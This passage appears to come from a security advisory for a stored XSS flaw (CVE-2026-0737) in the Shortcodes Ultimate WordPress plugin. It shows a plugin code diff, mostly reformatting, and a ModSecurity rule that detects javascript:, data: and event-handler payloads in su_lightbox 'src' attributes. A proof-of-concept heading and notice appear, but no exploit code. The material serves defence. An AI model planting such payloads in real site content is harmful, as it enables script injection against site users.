-			echo '<span data-name="' . $shortcode['name'] . '" data-shortcode="' . $name . '" title="' . esc_attr( $shortcode['desc'] ) . '" data-desc="' . esc_attr( $shortcode['desc'] ) . '" data-group="' . $shortcode['group'] . '">' . su_html_icon( $shortcode['icon'] ) . $shortcode['name'] . '</span>' . "n";
-		}
-?>
+		$tools = apply_filters('su/generator/tools', array(
+			'<a href="' . admin_url('admin.php?page=shortcodes-ultimate-settings') . '" target="_blank" title="' . __('Settings', 'shortcodes-ultimate') . '">' . __('Plugin settings', 'shortcodes-ultimate') . '</a>',
+			'<a href="https://getshortcodes.com/" target="_blank" title="' . __('Plugin homepage', 'shortcodes-ultimate') . '">' . __('Plugin homepage', 'shortcodes-ultimate') . '</a>',
+		));
+
+		if (!su_fs()->can_use_premium_code() && !su_has_all_active_addons()) {
+			$tools[] = '<a href="' . esc_attr(su_get_utm_link('https://getshortcodes.com/pricing/', 'wp-dashboard', 'generator', 'badge')) . '" target="_blank" title="' . __('Upgrade to PRO', 'shortcodes-ultimate') . '" class="su-add-ons">★ ' . __('Upgrade to PRO', 'shortcodes-ultimate') . '</a>';
+		}
+		?>
+		<div id="su-generator-wrap" style="display:none">
+			<div id="su-generator">
+				<div id="su-generator-header">
+					<div id="su-generator-tools"><?php echo implode(' <span></span> ', $tools); ?></div>
+					<input type="text" name="su_generator_search" id="su-generator-search" value="" placeholder="<?php _e('Search for shortcodes', 'shortcodes-ultimate'); ?>" />
+					<p id="su-generator-search-pro-tip"><?php printf('<strong>%s:</strong> %s', __('Pro Tip', 'shortcodes-ultimate'), __('Hit enter to select highlighted shortcode, while searching', 'shortcodes-ultimate')) ?></p>
+					<div id="su-generator-filter">
+						<strong><?php _e('Filter by type', 'shortcodes-ultimate'); ?></strong>
+						<?php foreach (su_get_groups() as $group => $label)
+							echo '<a href="#" data-filter="' . $group . '">' . $label . '</a>'; ?>
+					</div>
+					<div id="su-generator-choices" class="su-generator-clearfix">
+						<?php
+						// Choices loop
+						foreach (self::get_shortcodes() as $name => $shortcode) {
+							if (!isset($shortcode['icon'])) {
+								$shortcode['icon'] = 'puzzle-piece';
+							}
+							if (strpos($shortcode['icon'], '/') === false) {
+								$shortcode['icon'] = 'icon:' . $shortcode['icon'];
+							}
+							$shortcode['name'] = (isset($shortcode['name'])) ? $shortcode['name'] : $name;
+							if (!isset($shortcode['desc'])) {
+								$shortcode['desc'] = '';
+							}
+							echo '<span data-name="' . $shortcode['name'] . '" data-shortcode="' . $name . '" title="' . esc_attr($shortcode['desc']) . '" data-desc="' . esc_attr($shortcode['desc']) . '" data-group="' . $shortcode['group'] . '">' . su_html_icon($shortcode['icon']) . $shortcode['name'] . '</span>' . "n";
+						}
+						?>
+					</div>
 				</div>
+				<div id="su-generator-settings"></div>
+				<input type="hidden" name="su-generator-selected" id="su-generator-selected" value="<?php echo plugins_url('', SU_PLUGIN_FILE); ?>" />
+				<input type="hidden" name="su-generator-url" id="su-generator-url" value="<?php echo plugins_url('', SU_PLUGIN_FILE); ?>" />
+				<input type="hidden" name="su-compatibility-mode-prefix" id="su-compatibility-mode-prefix" value="<?php echo su_get_shortcode_prefix(); ?>" />
+				<input type="hidden" name="su-generator-option-skip" id="su-generator-option-skip" value="<?php echo esc_attr(get_option('su_option_skip', '')); ?>" />
+				<?php wp_nonce_field('su_generator_preset', 'su_generator_presets_nonce'); ?>
+				<?php wp_nonce_field('su_generator_preview', 'su_generator_preview_nonce'); ?>
+				<div id="su-generator-result" style="display:none"></div>
 			</div>
-			<div id="su-generator-settings"></div>
-			<input type="hidden" name="su-generator-selected" id="su-generator-selected" value="<?php echo plugins_url( '', SU_PLUGIN_FILE ); ?>" />
-			<input type="hidden" name="su-generator-url" id="su-generator-url" value="<?php echo plugins_url( '', SU_PLUGIN_FILE ); ?>" />
-			<input type="hidden" name="su-compatibility-mode-prefix" id="su-compatibility-mode-prefix" value="<?php echo su_get_shortcode_prefix(); ?>" />
-			<input type="hidden" name="su-generator-option-skip" id="su-generator-option-skip" value="<?php echo esc_attr( get_option( 'su_option_skip', '' ) ); ?>" />
-			<?php wp_nonce_field( 'su_generator_preset', 'su_generator_presets_nonce' ); ?>
-			<?php wp_nonce_field( 'su_generator_preview', 'su_generator_preview_nonce' ); ?>
-			<div id="su-generator-result" style="display:none"></div>
 		</div>
-	</div>
-<?php
+		<?php
 	}

 	/**
 	 * Process AJAX request
 	 */
-	public static function settings() {
+	public static function settings()
+	{
 		self::access();
 		// Param check
-		if ( empty( $_REQUEST['shortcode'] ) ) wp_die( __( 'Shortcode not specified', 'shortcodes-ultimate' ) );
+		if (empty($_REQUEST['shortcode']))
+			wp_die(__('Shortcode not specified', 'shortcodes-ultimate'));
 		// Request queried shortcode
-		$shortcode = su_get_shortcode( sanitize_key( $_REQUEST['shortcode'] ) );
+		$shortcode = su_get_shortcode(sanitize_key($_REQUEST['shortcode']));
 		// Call custom callback
 		if (
-			isset( $shortcode['generator_callback'] ) &&
-			is_callable( $shortcode['generator_callback'] )
+			isset($shortcode['generator_callback']) &&
+			is_callable($shortcode['generator_callback'])
 		) {
-			call_user_func( $shortcode['generator_callback'], $shortcode );
+			call_user_func($shortcode['generator_callback'], $shortcode);
 			exit;
 		}
 		// Prepare skip-if-default option
-		$skip = ( get_option( 'su_option_skip' ) === 'on' ) ? ' su-generator-skip' : '';
+		$skip = (get_option('su_option_skip') === 'on') ? ' su-generator-skip' : '';
 		// Prepare actions
-		$actions = apply_filters( 'su/generator/actions', array(
-				'insert' => '<a href="javascript:void(0);" class="button button-primary button-large su-generator-insert"><i class="sui sui-check"></i> ' . __( 'Insert shortcode', 'shortcodes-ultimate' ) . '</a>',
-				'preview' => '<a href="javascript:void(0);" class="button button-large su-generator-toggle-preview"><i class="sui sui-eye"></i> ' . __( 'Live preview', 'shortcodes-ultimate' ) . '</a>'
-			) );
+		$actions = apply_filters('su/generator/actions', array(
+			'insert' => '<a href="javascript:void(0);" class="button button-primary button-large su-generator-insert"><i class="sui sui-check"></i> ' . __('Insert shortcode', 'shortcodes-ultimate') . '</a>',
+			'preview' => '<a href="javascript:void(0);" class="button button-large su-generator-toggle-preview"><i class="sui sui-eye"></i> ' . __('Live preview', 'shortcodes-ultimate') . '</a>'
+		));
 		// Shortcode header
 		$return = '<div id="su-generator-breadcrumbs">';
-		$return .= apply_filters( 'su/generator/breadcrumbs', '<a href="javascript:void(0);" class="su-generator-home" title="' . __( 'Click to return to the shortcodes list', 'shortcodes-ultimate' ) . '">' . __( 'All shortcodes', 'shortcodes-ultimate' ) . '</a> → <span>' . $shortcode['name'] . '</span> <small class="alignright">' . $shortcode['desc'] . '</small><div class="su-generator-clear"></div>' );
+		$return .= apply_filters('su/generator/breadcrumbs', '<a href="javascript:void(0);" class="su-generator-home" title="' . __('Click to return to the shortcodes list', 'shortcodes-ultimate') . '">' . __('All shortcodes', 'shortcodes-ultimate') . '</a> → <span>' . $shortcode['name'] . '</span> <small class="alignright">' . $shortcode['desc'] . '</small><div class="su-generator-clear"></div>');
 		$return .= '</div>';
 		// Shortcode note
-		if ( isset( $shortcode['note'] ) ) {
-			$return .= '<div class="su-generator-note"><i class="sui sui-info-circle"></i><div class="su-generator-note-content">' . wpautop( $shortcode['note'] ) . '</div></div>';
+		if (isset($shortcode['note'])) {
+			$return .= '<div class="su-generator-note"><i class="sui sui-info-circle"></i><div class="su-generator-note-content">' . wpautop($shortcode['note']) . '</div></div>';
 		}
 		// Shortcode CTA
-		if ( isset( $shortcode['generator_cta'] ) ) {
+		if (isset($shortcode['generator_cta'])) {
 			$return .= '<div class="su-generator-cta"><div class="su-generator-cta-content">' . $shortcode['generator_cta'] . '</div></div>';
 		}
 		// Shortcode has atts
-		if ( isset( $shortcode['atts'] ) && count( $shortcode['atts'] ) ) {
+		if (isset($shortcode['atts']) && count($shortcode['atts'])) {
 			// Loop through shortcode parameters
-			foreach ( $shortcode['atts'] as $attr_name => $attr_info ) {
+			foreach ($shortcode['atts'] as $attr_name => $attr_info) {
 				// Prepare default value
-				$default = (string) ( isset( $attr_info['default'] ) ) ? $attr_info['default'] : '';
-				$attr_info['name'] = ( isset( $attr_info['name'] ) ) ? $attr_info['name'] : $attr_name;
-				$return .= '<div class="su-generator-attr-container' . $skip . '" data-default="' . esc_attr( $default ) . '">';
+				$default = (string) (isset($attr_info['default'])) ? $attr_info['default'] : '';
+				$attr_info['name'] = (isset($attr_info['name'])) ? $attr_info['name'] : $attr_name;
+				$return .= '<div class="su-generator-attr-container' . $skip . '" data-default="' . esc_attr($default) . '">';
 				$return .= '<h5>' . $attr_info['name'] . '</h5>';
 				// Create field types
-				if ( !isset( $attr_info['type'] ) && isset( $attr_info['values'] ) && is_array( $attr_info['values'] ) && count( $attr_info['values'] ) ) $attr_info['type'] = 'select';
-				elseif ( !isset( $attr_info['type'] ) ) $attr_info['type'] = 'text';
-				if ( is_callable( array( 'Su_Generator_Views', $attr_info['type'] ) ) ) $return .= call_user_func( array( 'Su_Generator_Views', $attr_info['type'] ), $attr_name, $attr_info );
-				elseif ( isset( $attr_info['callback'] ) && is_callable( $attr_info['callback'] ) ) $return .= call_user_func( $attr_info['callback'], $attr_name, $attr_info );
-				if ( isset( $attr_info['desc'] ) ) $return .= '<div class="su-generator-attr-desc">' . str_replace( array( '<b%value>', '<b_>' ), '<b class="su-generator-set-value" title="' . __( 'Click to set this value', 'shortcodes-ultimate' ) . '">', $attr_info['desc'] ) . '</div>';
+				if (!isset($attr_info['type']) && isset($attr_info['values']) && is_array($attr_info['values']) && count($attr_info['values']))
+					$attr_info['type'] = 'select';
+				elseif (!isset($attr_info['type']))
+					$attr_info['type'] = 'text';
+				if (is_callable(array('Su_Generator_Views', $attr_info['type'])))
+					$return .= call_user_func(array('Su_Generator_Views', $attr_info['type']), $attr_name, $attr_info);
+				elseif (isset($attr_info['callback']) && is_callable($attr_info['callback']))
+					$return .= call_user_func($attr_info['callback'], $attr_name, $attr_info);
+				if (isset($attr_info['desc']))
+					$return .= '<div class="su-generator-attr-desc">' . str_replace(array('<b%value>', '<b_>'), '<b class="su-generator-set-value" title="' . __('Click to set this value', 'shortcodes-ultimate') . '">', $attr_info['desc']) . '</div>';
 				$return .= '</div>';
 			}
 		}
 		// Single shortcode (not closed)
-		if ( $shortcode['type'] == 'single' ) $return .= '<input type="hidden" name="su-generator-content" id="su-generator-content" value="false" />';
+		if ($shortcode['type'] == 'single')
+			$return .= '<input type="hidden" name="su-generator-content" id="su-generator-content" value="false" />';
 		// Wrapping shortcode
 		else {

-			if ( !isset( $shortcode['content'] ) ) {
+			if (!isset($shortcode['content'])) {
 				$shortcode['content'] = '';
 			}

-			if ( is_array( $shortcode['content'] ) ) {
-				$shortcode['content'] = self::get_shortcode_code( $shortcode['content'] );
+			if (is_array($shortcode['content'])) {
+				$shortcode['content'] = self::get_shortcode_code($shortcode['content']);
 			}

 			// Prepare shortcode content
-			$return .= '<div class="su-generator-attr-container"><h5>' . __( 'Content', 'shortcodes-ultimate' ) . '</h5><textarea name="su-generator-content" id="su-generator-content" rows="5">' . esc_attr( str_replace( array( '%prefix_', '__' ), su_get_shortcode_prefix(), $shortcode['content'] ) ) . '</textarea></div>';
+			$return .= '<div class="su-generator-attr-container"><h5>' . __('Content', 'shortcodes-ultimate') . '</h5><textarea name="su-generator-content" id="su-generator-content" rows="5">' . esc_attr(str_replace(array('%prefix_', '__'), su_get_shortcode_prefix(), $shortcode['content'])) . '</textarea></div>';
 		}
 		$return .= '<div id="su-generator-preview"></div>';
-		$return .= '<div class="su-generator-actions su-generator-clearfix">' . implode( ' ', array_values( $actions ) ) . '</div>';
-		set_transient( 'su/generator/settings/' . sanitize_text_field( $_REQUEST['shortcode'] ), $return, 2 * DAY_IN_SECONDS );
+		$return .= '<div class="su-generator-actions su-generator-clearfix">' . implode(' ', array_values($actions)) . '</div>';
+		set_transient('su/generator/settings/' . sanitize_text_field($_REQUEST['shortcode']), $return, 2 * DAY_IN_SECONDS);
 		echo $return;
 		exit;
 	}
@@ -337,204 +367,235 @@
 	/**
 	 * Process AJAX request and generate preview HTML
 	 */
-	public static function preview() {
+	public static function preview()
+	{
 		// Check nonce
 		if (
-			empty( $_POST['nonce'] ) ||
-			! wp_verify_nonce( $_POST['nonce'], 'su_generator_preview' )
+			empty($_POST['nonce']) ||
+			!wp_verify_nonce($_POST['nonce'], 'su_generator_preview')
 		) {
 			return;
 		}
 		// Check authentication
 		self::access();
 		// Output results
-		do_action( 'su/generator/preview/before' );
-		echo '<h5>' . __( 'Preview', 'shortcodes-ultimate' ) . '</h5>';
-		echo wp_kses_post( do_shortcode( wp_unslash( $_POST['shortcode'] ) ) );
+		do_action('su/generator/preview/before');
+		echo '<h5>' . __('Preview', 'shortcodes-ultimate') . '</h5>';
+		echo wp_kses_post(do_shortcode(wp_unslash($_POST['shortcode'])));
 		echo '<div style="clear:both"></div>';
-		do_action( 'su/generator/preview/after' );
+		do_action('su/generator/preview/after');
 		die();
 	}

-	public static function access() {
-		if ( !self::access_check() ) wp_die( __( 'Access denied', 'shortcodes-ultimate' ) );
+	public static function access()
+	{
+		if (!self::access_check())
+			wp_die(__('Access denied', 'shortcodes-ultimate'));
 	}

-	public static function access_check() {
+	public static function access_check()
+	{

 		$required_capability = (string) get_option(
 			'su_option_generator_access',
 			'manage_options'
 		);

-		return current_user_can( $required_capability );
+		return current_user_can($required_capability);

 	}

-	public static function ajax_get_icons() {
+	public static function ajax_get_icons()
+	{
 		self::access();
 		$icons = array();
-		foreach ( su_get_config( 'icons' ) as $icon ) {
+		foreach (su_get_config('icons') as $icon) {
 			$icons[] = '<i class="sui sui-' . $icon . '" title="' . $icon . '"></i>';
 		}
-		die( implode( '', $icons ) );
+		die(implode('', $icons));
 	}

-	public static function ajax_get_terms() {
+	public static function ajax_get_terms()
+	{
 		self::access();
 		$args = array();
-		if ( isset( $_REQUEST['tax'] ) ) $args['options'] = (array) self::get_terms( sanitize_key( $_REQUEST['tax'] ) );
-		if ( isset( $_REQUEST['class'] ) ) $args['class'] = (string) sanitize_key( $_REQUEST['class'] );
-		if ( isset( $_REQUEST['multiple'] ) ) $args['multiple'] = (bool) sanitize_key( $_REQUEST['multiple'] );
-		if ( isset( $_REQUEST['size'] ) ) $args['size'] = (int) sanitize_key( $_REQUEST['size'] );
-		if ( isset( $_REQUEST['noselect'] ) ) $args['noselect'] = (bool) sanitize_key( $_REQUEST['noselect'] );
-		die( su_html_dropdown( $args ) );
+		if (isset($_REQUEST['tax']))
+			$args['options'] = (array) self::get_terms(sanitize_key($_REQUEST['tax']));
+		if (isset($_REQUEST['class']))
+			$args['class'] = (string) sanitize_key($_REQUEST['class']);
+		if (isset($_REQUEST['multiple']))
+			$args['multiple'] = (bool) sanitize_key($_REQUEST['multiple']);
+		if (isset($_REQUEST['size']))
+			$args['size'] = (int) sanitize_key($_REQUEST['size']);
+		if (isset($_REQUEST['noselect']))
+			$args['noselect'] = (bool) sanitize_key($_REQUEST['noselect']);
+		die(su_html_dropdown($args));
 	}

-	public static function ajax_get_taxonomies() {
+	public static function ajax_get_taxonomies()
+	{
 		self::access();
 		$args = array();
 		$args['options'] = self::get_taxonomies();
-		die( su_html_dropdown( $args ) );
+		die(su_html_dropdown($args));
 	}

-	public static function presets( $actions ) {
+	public static function presets($actions)
+	{
 		ob_start();
-?>
-<div class="su-generator-presets alignright" data-shortcode="<?php echo sanitize_key( $_REQUEST['shortcode'] ); ?>">
-	<a href="javascript:void(0);" class="button button-large su-gp-button"><i class="sui sui-bars"></i> <?php _e( 'Presets', 'shortcodes-ultimate' ); ?></a>
-	<div class="su-gp-popup">
-		<div class="su-gp-head">
-			<a href="javascript:void(0);" class="button button-small button-primary su-gp-new"><?php _e( 'Save current settings as preset', 'shortcodes-ultimate' ); ?></a>
-		</div>
-		<div class="su-gp-list">
-			<?php self::presets_list(); ?>
+		?>
+		<div class="su-generator-presets alignright" data-shortcode="<?php echo sanitize_key($_REQUEST['shortcode']); ?>">
+			<a href="javascript:void(0);" class="button button-large su-gp-button"><i class="sui sui-bars"></i> <?php _e('Presets', 'shortcodes-ultimate'); ?></a>
+			<div class="su-gp-popup">
+				<div class="su-gp-head">
+					<a href="javascript:void(0);" class="button button-small button-primary su-gp-new"><?php _e('Save current settings as preset', 'shortcodes-ultimate'); ?></a>
+				</div>
+				<div class="su-gp-list">
+					<?php self::presets_list(); ?>
+				</div>
+			</div>
 		</div>
-	</div>
-</div>
 		<?php
 		$actions['presets'] = ob_get_contents();
 		ob_end_clean();
 		return $actions;
 	}

-	public static function presets_list( $shortcode = false ) {
+	public static function presets_list($shortcode = false)
+	{
 		// Shortcode isn't specified, try to get it from $_REQUEST
-		if ( !$shortcode ) $shortcode = $_REQUEST['shortcode'];
+		if (!$shortcode)
+			$shortcode = $_REQUEST['shortcode'];
 		// Shortcode name is still doesn't exists, exit
-		if ( !$shortcode ) return;
+		if (!$shortcode)
+			return;
 		// Shortcode has been specified, sanitize it
-		$shortcode = sanitize_key( $shortcode );
+		$shortcode = sanitize_key($shortcode);
 		// Get presets
-		$presets = get_option( 'su_presets_' . $shortcode );
+		$presets = get_option('su_presets_' . $shortcode);
 		// Presets has been found
-		if ( is_array( $presets ) && count( $presets ) ) {
+		if (is_array($presets) && count($presets)) {
 			// Print the presets
-			foreach ( $presets as $preset ) {
-				echo '<span data-id="' . $preset['id'] . '"><em>' . stripslashes( $preset['name'] ) . '</em> <i class="sui sui-times"></i></span>';
+			foreach ($presets as $preset) {
+				echo '<span data-id="' . $preset['id'] . '"><em>' . stripslashes($preset['name']) . '</em> <i class="sui sui-times"></i></span>';
 			}
 			// Hide default text
-			echo sprintf( '<b style="display:none">%s</b>', __( 'Presets not found', 'shortcodes-ultimate' ) );
+			echo sprintf('<b style="display:none">%s</b>', __('Presets not found', 'shortcodes-ultimate'));
 		}
 		// Presets doesn't found
-		else echo sprintf( '<b>%s</b>', __( 'Presets not found', 'shortcodes-ultimate' ) );
+		else
+			echo sprintf('<b>%s</b>', __('Presets not found', 'shortcodes-ultimate'));
 	}

-	public static function ajax_add_preset() {
+	public static function ajax_add_preset()
+	{
 		self::access();
 		// Check incoming data
-		if ( empty( $_POST['id'] ) ) return;
-		if ( empty( $_POST['name'] ) ) return;
-		if ( empty( $_POST['settings'] ) ) return;
-		if ( empty( $_POST['shortcode'] ) ) return;
+		if (empty($_POST['id']))
+			return;
+		if (empty($_POST['name']))
+			return;
+		if (empty($_POST['settings']))
+			return;
+		if (empty($_POST['shortcode']))
+			return;
 		// Check Nonce
 		if (
-			empty( $_POST['nonce'] ) ||
-			! is_string( $_POST['nonce'] ) ||
-			! wp_verify_nonce( $_POST['nonce'], 'su_generator_preset' )
+			empty($_POST['nonce']) ||
+			!is_string($_POST['nonce']) ||
+			!wp_verify_nonce($_POST['nonce'], 'su_generator_preset')
 		) {
 			return;
 		}
 		// Clean-up incoming data
-		$id = sanitize_key( $_POST['id'] );
-		$name = sanitize_text_field( $_POST['name'] );
-		$shortcode = sanitize_key( $_POST['shortcode'] );
+		$id = sanitize_key($_POST['id']);
+		$name = sanitize_text_field($_POST['name']);
+		$shortcode = sanitize_key($_POST['shortcode']);
 		// Validate and sanitize settings
-		$settings = is_array( $_POST['settings'] ) ? stripslashes_deep( $_POST['settings'] ) : array();
-		$settings = array_map( 'wp_kses_post', $settings );
+		$settings = is_array($_POST['settings']) ? stripslashes_deep($_POST['settings']) : array();
+		$settings = array_map('wp_kses_post', $settings);
 		// Prepare option name
 		$option = 'su_presets_' . $shortcode;
 		// Get the existing presets
-		$current = get_option( $option );
+		$current = get_option($option);
 		// Create array with new preset
 		$new = array(
-			'id'       => $id,
-			'name'     => $name,
-			'settings' => $settings
+			'id' => $id,
+			'name' => $name,
+			'settings' => $settings,
 		);
 		// Add new array to the option value
-		if ( !is_array( $current ) ) $current = array();
+		if (!is_array($current))
+			$current = array();
 		$current[$id] = $new;
 		// Save updated option
-		update_option( $option, $current );
+		update_option($option, $current);
 		// Clear cache
-		delete_transient( 'su/generator/settings/' . $shortcode );
+		delete_transient('su/generator/settings/' . $shortcode);
 	}

-	public static function ajax_remove_preset() {
+	public static function ajax_remove_preset()
+	{
 		self::access();
 		// Check incoming data
-		if ( empty( $_POST['id'] ) ) return;
-		if ( empty( $_POST['shortcode'] ) ) return;
+		if (empty($_POST['id']))
+			return;
+		if (empty($_POST['shortcode']))
+			return;
 		// Check Nonce
 		if (
-			empty( $_POST['nonce'] ) ||
-			! is_string( $_POST['nonce'] ) ||
-			! wp_verify_nonce( $_POST['nonce'], 'su_generator_preset' )
+			empty($_POST['nonce']) ||
+			!is_string($_POST['nonce']) ||
+			!wp_verify_nonce($_POST['nonce'], 'su_generator_preset')
 		) {
 			return;
 		}
 		// Clean-up incoming data
-		$id = sanitize_key( $_POST['id'] );
-		$shortcode = sanitize_key( $_POST['shortcode'] );
+		$id = sanitize_key($_POST['id']);
+		$shortcode = sanitize_key($_POST['shortcode']);
 		// Prepare option name
 		$option = 'su_presets_' . $shortcode;
 		// Get the existing presets
-		$current = get_option( $option );
+		$current = get_option($option);
 		// Check that preset is exists
-		if ( !is_array( $current ) || empty( $current[$id] ) ) return;
+		if (!is_array($current) || empty($current[$id]))
+			return;
 		// Remove preset
-		unset( $current[$id] );
+		unset($current[$id]);
 		// Save updated option
-		update_option( $option, $current );
+		update_option($option, $current);
 		// Clear cache
-		delete_transient( 'su/generator/settings/' . $shortcode );
+		delete_transient('su/generator/settings/' . $shortcode);
 	}

-	public static function ajax_get_preset() {
+	public static function ajax_get_preset()
+	{
 		self::access();
 		// Check incoming data
-		if ( empty( $_GET['id'] ) ) return;
-		if ( empty( $_GET['shortcode'] ) ) return;
+		if (empty($_GET['id']))
+			return;
+		if (empty($_GET['shortcode']))
+			return;
 		// Check Nonce
 		if (
-			empty( $_GET['nonce'] ) ||
-			! is_string( $_GET['nonce'] ) ||
-			! wp_verify_nonce( $_GET['nonce'], 'su_generator_preset' )
+			empty($_GET['nonce']) ||
+			!is_string($_GET['nonce']) ||
+			!wp_verify_nonce($_GET['nonce'], 'su_generator_preset')
 		) {
 			return;
 		}
 		// Clean-up incoming data
-		$id = sanitize_key( $_GET['id'] );
-		$shortcode = sanitize_key( $_GET['shortcode'] );
+		$id = sanitize_key($_GET['id']);
+		$shortcode = sanitize_key($_GET['shortcode']);
 		// Default data
 		$data = array();
 		// Get the existing presets
-		$presets = get_option( 'su_presets_' . $shortcode );
+		$presets = get_option('su_presets_' . $shortcode);
 		// Check that preset is exists
-		if ( is_array( $presets ) && isset( $presets[$id]['settings'] ) ) $data = $presets[$id]['settings'];
+		if (is_array($presets) && isset($presets[$id]['settings']))
+			$data = $presets[$id]['settings'];
 		// Print results
-		die( json_encode( $data ) );
+		die(json_encode($data));
 	}

 	/**
@@ -546,45 +607,46 @@
 	 * @since  5.0.0
 	 * @return string      Shortcode code
 	 */
-	public static function get_shortcode_code( $args ) {
+	public static function get_shortcode_code($args)
+	{

 		$defaults = array(
-			'id'     => '',
+			'id' => '',
 			'number' => 1,
 			'nested' => false,
 		);

 		// Accept shortcode ID as a string
-		if ( is_string( $args ) ) {
-			$args = array( 'id' => $args );
+		if (is_string($args)) {
+			$args = array('id' => $args);
 		}

-		$args = wp_parse_args( $args, $defaults );
+		$args = wp_parse_args($args, $defaults);

 		// Check shortcode ID
-		if ( empty( $args['id'] ) ) {
+		if (empty($args['id'])) {
 			return '';
 		}

 		// Get shortcode data
-		$shortcode = su_get_shortcode( $args['id'] );
+		$shortcode = su_get_shortcode($args['id']);

 		// Prepare shortcode prefix
-		$prefix = get_option( 'su_option_prefix' );
+		$prefix = get_option('su_option_prefix');

 		// Prepare attributes container
 		$attributes = '';

 		// Loop through attributes
-		foreach ( $shortcode['atts'] as $attr_id => $attribute ) {
+		foreach ($shortcode['atts'] as $attr_id => $attribute) {

 			// Skip hidden attributes
-			if ( isset( $attribute['hidden'] ) && $attribute['hidden'] ) {
+			if (isset($attribute['hidden']) && $attribute['hidden']) {
 				continue;
 			}

 			// Add attribute
-			$attributes .= sprintf( ' %s="%s"', esc_html( $attr_id ), esc_attr( $attribute['default'] ) );
+			$attributes .= sprintf(' %s="%s"', esc_html($attr_id), esc_attr($attribute['default']));

 		}

@@ -592,39 +654,39 @@
 		$output = "[{$prefix}{$args['id']}{$attributes}]";

 		// Indent nested shortcodes
-		if ( $args['nested'] ) {
+		if ($args['nested']) {
 			$output = "t" . $output;
 		}

 		// Insert shortcode content
-		if ( isset( $shortcode['content'] ) ) {
+		if (isset($shortcode['content'])) {

-			if ( is_string( $shortcode['content'] ) ) {
+			if (is_string($shortcode['content'])) {
 				$output .= $shortcode['content'];
 			}

 			// Create complex content
-			else if ( is_array( $shortcode['content'] ) && $args['id'] !== $shortcode['content']['id'] ) {
+			else if (is_array($shortcode['content']) && $args['id'] !== $shortcode['content']['id']) {

-					$shortcode['content']['nested'] = true;
-					$output .= self::get_shortcode_code( $shortcode['content'] );
+				$shortcode['content']['nested'] = true;
+				$output .= self::get_shortcode_code($shortcode['content']);

-				}
+			}

 		}

 		// Add closing tag
-		if ( isset( $shortcode['type'] ) && $shortcode['type'] === 'wrap' ) {
+		if (isset($shortcode['type']) && $shortcode['type'] === 'wrap') {
 			$output .= "[/{$prefix}{$args['id']}]";
 		}

 		// Repeat shortcode
-		if ( $args['number'] > 1 ) {
-			$output = implode( "n", array_fill( 0, $args['number'], $output ) );
+		if ($args['number'] > 1) {
+			$output = implode("n", array_fill(0, $args['number'], $output));
 		}

 		// Add line breaks around nested shortcodes
-		if ( $args['nested'] ) {
+		if ($args['nested']) {
 			$output = "n{$output}n";
 		}

@@ -638,7 +700,8 @@
 	 * @since  5.0.5
 	 * @return boolean True if all addons active, False otherwise.
 	 */
-	public static function is_addons_active() {
+	public static function is_addons_active()
+	{
 		return false;
 	}

@@ -648,15 +711,16 @@
 	 * @since  5.0.5
 	 * @return array Available shortcodes data.
 	 */
-	public static function get_shortcodes() {
+	public static function get_shortcodes()
+	{

 		$shortcodes = su_get_all_shortcodes();

-		if ( get_option( 'su_option_hide_deprecated' ) ) {
+		if (get_option('su_option_hide_deprecated')) {

 			$shortcodes = array_filter(
 				$shortcodes,
-				array( __CLASS__, 'filter_deprecated_shortcodes' )
+				array(__CLASS__, 'filter_deprecated_shortcodes')
 			);

 		}
@@ -672,8 +736,9 @@
 	 * @param array   $shortcode A single shortcode data.
 	 * @return boolean            False if shortcode deprecated, True otherwise.
 	 */
-	public static function filter_deprecated_shortcodes( $shortcode ) {
-		return ! isset( $shortcode['deprecated'] );
+	public static function filter_deprecated_shortcodes($shortcode)
+	{
+		return !isset($shortcode['deprecated']);
 	}

 	/**
@@ -682,11 +747,12 @@
 	 * @since  5.0.5
 	 * @return array List of taxonomies.
 	 */
-	public static function get_taxonomies() {
+	public static function get_taxonomies()
+	{

 		$taxes = array();

-		foreach ( (array) get_taxonomies( '', 'objects' ) as $tax ) {
+		foreach ((array) get_taxonomies('', 'objects') as $tax) {
 			$taxes[$tax->name] = $tax->label;
 		}

@@ -700,21 +766,20 @@
 	 * @since  5.0.5
 	 * @return array List of terms.
 	 */
-	public static function get_terms( $tax = 'category', $key = 'id' ) {
+	public static function get_terms($tax = 'category', $key = 'id')
+	{

 		$terms = array();

-		if ( $key === 'id' ) {
+		if ($key === 'id') {

-			foreach ( (array) get_terms( $tax, array( 'hide_empty' => false ) ) as $term ) {
+			foreach ((array) get_terms($tax, array('hide_empty' => false)) as $term) {
 				$terms[$term->term_id] = $term->name;
 			}

-		}
-
-		elseif ( $key === 'slug' ) {
+		} elseif ($key === 'slug') {

-			foreach ( (array) get_terms( $tax, array( 'hide_empty' => false ) ) as $term ) {
+			foreach ((array) get_terms($tax, array('hide_empty' => false)) as $term) {
 				$terms[$term->slug] = $term->name;
 			}

@@ -728,8 +793,10 @@

 new Su_Generator;

-class Shortcodes_Ultimate_Generator extends Su_Generator {
-	function __construct() {
+class Shortcodes_Ultimate_Generator extends Su_Generator
+{
+	function __construct()
+	{
 		parent::__construct();
 	}
 }
--- a/shortcodes-ultimate/includes/config/default-settings.php
+++ b/shortcodes-ultimate/includes/config/default-settings.php
@@ -1,20 +1,22 @@
-<?php defined( 'ABSPATH' ) || exit;
+<?php defined('ABSPATH') || exit;

 return apply_filters(
 	'su/config/default_settings',
 	array(
-		'su_option_custom-formatting'    => 'on',
-		'su_option_skip'                 => 'on',
-		'su_option_prefix'               => 'su_',
-		'su_option_custom-cs

ModSecurity Protection Against This CVE

Here you will find our ModSecurity compatible rule to protect against this particular CVE.

ModSecurity
# Atomic Edge WAF Rule - CVE-2026-0737
# This rule blocks exploitation of the Shortcodes Ultimate stored XSS vulnerability
# by detecting malicious 'src' attribute values in 'su_lightbox' shortcodes
SecRule REQUEST_FILENAME "@endsWith /wp-admin/post.php" 
  "id:1000737,phase:2,deny,status:403,chain,msg:'CVE-2026-0737: Shortcodes Ultimate Stored XSS via su_lightbox shortcode',severity:'CRITICAL',tag:'CVE-2026-0737',tag:'WordPress',tag:'Plugin/Shortcodes-Ultimate',tag:'attack-xss'"
  SecRule REQUEST_METHOD "@streq POST" "chain"
    SecRule ARGS_POST:content "@rx \[su_lightbox[^\]]*src\s*=\s*['"]\s*(javascript:|data:text/html|data:text/javascript|vbscript:|alert\(|on\w+\s*=)" 
      "t:lowercase,t:urlDecodeUni,t:htmlEntityDecode,ctl:auditLogParts=+E"

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

